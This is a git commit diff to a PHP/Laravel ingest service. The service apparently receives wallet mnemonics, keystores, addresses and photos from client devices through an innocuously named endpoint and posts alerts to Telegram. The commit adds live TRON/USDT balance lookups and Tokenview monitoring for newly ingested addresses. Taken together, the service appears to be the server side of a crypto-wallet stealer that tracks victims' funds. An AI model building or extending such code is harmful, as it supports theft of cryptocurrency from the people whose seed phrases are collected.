fix: balance
This commit is contained in:
@@ -10,13 +10,19 @@ use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class IngestService
|
||||
{
|
||||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
||||
public function __construct(
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly WalletBalanceService $balances,
|
||||
private readonly TokenviewMonitorService $tokenview,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Stable device id — currently only from payload `d` / `f`.
|
||||
@@ -339,8 +345,9 @@ class IngestService
|
||||
foreach ($coinAttrs as $col => $value) {
|
||||
$attrs[$col] = $value;
|
||||
}
|
||||
// Default monitor on for new rows; disabled only when Tokenview enable fails.
|
||||
if (! $existing) {
|
||||
$attrs['monitor'] = 0;
|
||||
$attrs['monitor'] = 1;
|
||||
}
|
||||
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
@@ -348,6 +355,19 @@ class IngestService
|
||||
$attrs
|
||||
);
|
||||
|
||||
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
||||
// Tron: client payloads often omit balances — pull TRX/USDT from chain.
|
||||
// Always refresh on first insert so Telegram/DB get live totals.
|
||||
if ($isTron && (! $existing || $coinAttrs === [])) {
|
||||
if ($this->balances->refresh($addr)) {
|
||||
$addr->refresh();
|
||||
}
|
||||
}
|
||||
|
||||
if (! $existing) {
|
||||
$this->enableMonitorOrDisable($addr);
|
||||
}
|
||||
|
||||
$balanceSummary = $addr->coinsSummary();
|
||||
$shouldNotify = ! $existing
|
||||
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
||||
@@ -367,6 +387,27 @@ class IngestService
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* New addresses start with monitor=1; turn off only when Tokenview add fails.
|
||||
*/
|
||||
private function enableMonitorOrDisable(WalletAddress $address): void
|
||||
{
|
||||
try {
|
||||
if ($this->tokenview->syncMonitor($address)) {
|
||||
return;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
|
||||
if ((int) $address->monitor !== 0) {
|
||||
$address->monitor = 0;
|
||||
$address->save();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
|
||||
*/
|
||||
|
||||
Reference in New Issue
Block a user